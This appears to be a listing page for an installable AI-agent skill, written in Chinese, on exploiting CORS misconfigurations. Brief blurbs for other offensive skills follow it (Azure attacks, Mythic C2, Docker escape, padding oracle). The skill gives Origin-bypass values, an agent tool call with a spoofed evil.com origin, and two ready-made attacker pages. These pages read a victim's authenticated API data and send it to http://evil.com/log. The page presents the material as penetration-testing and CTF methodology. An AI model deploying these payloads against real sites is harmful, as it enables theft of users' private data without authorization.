skills/exploit/auth/cors-misconfiguration/SKILL.md
CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取
npx skillsauth add wgpsec/AboutSecurity cors-misconfigurationInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
CORS(Cross-Origin Resource Sharing)错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials 两个响应头。
http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}
检查响应头:
Access-Control-Allow-Origin: https://evil.com → 反射任意 Origin(危险)Access-Control-Allow-Origin: * → 通配符(通常无法携带 Cookie)Access-Control-Allow-Credentials: true → 允许携带 Cookie(和反射 Origin 组合 = 严重漏洞)# 空 Origin
Origin: null
# 子域名
Origin: https://evil.target.com
Origin: https://target.com.evil.com
# 前缀/后缀匹配
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com
# 特殊协议
Origin: http://target.com (HTTPS 站点接受 HTTP Origin)
| Allow-Origin | Allow-Credentials | 风险等级 |
|-------------|-------------------|----------|
| 反射任意 Origin | true | 严重 — 可跨域窃取用户数据 |
| null | true | 高 — iframe sandbox 可设置 null origin |
| * | false | 低 — 不能携带 Cookie,通常只暴露公开数据 |
| 固定白名单 | true | 安全(除非白名单中有你控制的域名)|
目标返回:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
构造窃取页面:
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
.then(r => r.json())
.then(data => {
// 发送到攻击者服务器
fetch('http://evil.com/log?data=' + JSON.stringify(data));
});
</script>
如果 Access-Control-Allow-Origin: null,用 iframe sandbox 触发:
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
</script>
"></iframe>
CORS 利用成功后,可以读取的敏感数据:
/api/profile, /api/userinfo)CTF 中:Flag 通常在需要管理员 Cookie 才能访问的 API 中。
Access-Control-Allow-Origin: * 不允许 credentials: include,风险较低testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能